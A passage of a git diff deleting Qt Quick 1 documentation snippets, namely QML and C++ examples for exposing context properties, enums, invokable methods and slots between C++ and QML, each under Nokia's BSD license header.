MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - property alias text: textItem.text - - width: 100; height: 30 - border.width: 1 - radius: 5 - smooth: true - - gradient: Gradient { - GradientStop { position: 0.0; color: "darkGray" } - GradientStop { position: 0.5; color: "black" } - GradientStop { position: 1.0; color: "darkGray" } - } - - Text { - id: textItem - anchors.centerIn: parent - font.pointSize: 20 - color: "white" - } - -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg b/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg deleted file mode 100644 index 8c018be6a2..0000000000 --- a/doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg +++ /dev/null @@ -1,104 +0,0 @@ - - - - - - image/svg+xml - - - - - - SVG generated by Lineform - - - - - - - - - - - - - - - diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml deleted file mode 100644 index 1ac4c15649..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml +++ /dev/null @@ -1,46 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Text { text: applicationData.getCurrentDateTime() } -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h b/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h deleted file mode 100644 index fc5bbc6400..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![0] -class ApplicationData : public QObject -{ - Q_OBJECT -public: - Q_INVOKABLE QDateTime getCurrentDateTime() const { - return QDateTime::currentDateTime(); - } -}; -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml b/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml deleted file mode 100644 index a7dd580e72..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -//![0] -Text { - text: applicationData.getCurrentDateTime() - - Connections { - target: applicationData - onDataChanged: console.log("The application data changed!") - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp b/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp deleted file mode 100644 index d7cfe6f3ef..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -#include "applicationdata.h" - -//![0] -int main(int argc, char *argv[]) { - QApplication app(argc, argv); - - QDeclarativeView view; - - ApplicationData data; - view.rootContext()->setContextProperty("applicationData", &data); - - view.setSource(QUrl::fromLocalFile("MyItem.qml")); - view.show(); - - return app.exec(); -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml deleted file mode 100644 index 5c83827770..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml +++ /dev/null @@ -1,45 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Text { text: currentDateTime } -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/context/main.cpp b/doc/src/snippets/qtquick1/qtbinding/context/main.cpp deleted file mode 100644 index e0d9a83e64..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/context/main.cpp +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - -//![0] -QDeclarativeView view; -view.rootContext()->setContextProperty("currentDateTime", QDateTime::currentDateTime()); -view.setSource(QUrl::fromLocalFile("MyItem.qml")); -view.show(); -//![0] - - return app.exec(); -} - diff --git a/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h deleted file mode 100644 index de9f2ecaab..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![start] -class ImageViewer : public QDeclarativeItem -{ - Q_OBJECT - Q_ENUMS(Status) - Q_PROPERTY(Status status READ status NOTIFY statusChanged) -public: - enum Status { - Ready, - Loading, - Error - }; - - Status status() const; -//![start] - - ImageViewer(QDeclarativeItem *parent = 0); - -public slots: - void emitSignals(); - -//![end] -signals: - void statusChanged(); -}; -//![end] diff --git a/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml deleted file mode 100644 index e79b15ccc8..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import MyLibrary 1.0 -import QtQuick 1.0 - -Item { - -//![0] -ImageViewer { - onStatusChanged: { - if (status == ImageViewer.Ready) - console.log("Image viewer is ready!") - } -} -//![0] - -//![1] -ImageViewer { - signal someOtherSignal(int statusValue) - - Component.onCompleted: { - someOtherSignal(ImageViewer.Loading) - } -} -//![1] - -} diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml deleted file mode 100644 index 8b5c3bc6ec..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// MyItem.qml -import QtQuick 1.0 - -Item { - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: { - myObject.cppMethod("Hello from QML") - myObject.cppSlot(12345) - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp deleted file mode 100644 index 5e6c474a8f..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -#include "myclass.h" - -//![0] -int main(int argc, char *argv[]) { - QApplication app(argc, argv); - - QDeclarativeView view; - MyClass myClass; - view.rootContext()->setContextProperty("myObject", &myClass); - - view.setSource(QUrl::fromLocalFile("MyItem.qml")); - view.show(); - - return app.exec(); -} -//![0] - diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h b/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h deleted file mode 100644 index 8b6847ca99..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include - -//![0] -class MyClass : public QObject -{ - Q_OBJECT -public: - Q_INVOKABLE void cppMethod(const QString &msg) { - qDebug() << "Called the C++ method with" << msg; - } - -public slots: - void cppSlot(int number) { - qDebug() << "Called the C++ slot with" << number; - } -}; -//![0] diff --git a/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml deleted file mode 100644 index 9b47553564..0000000000 --- a/doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 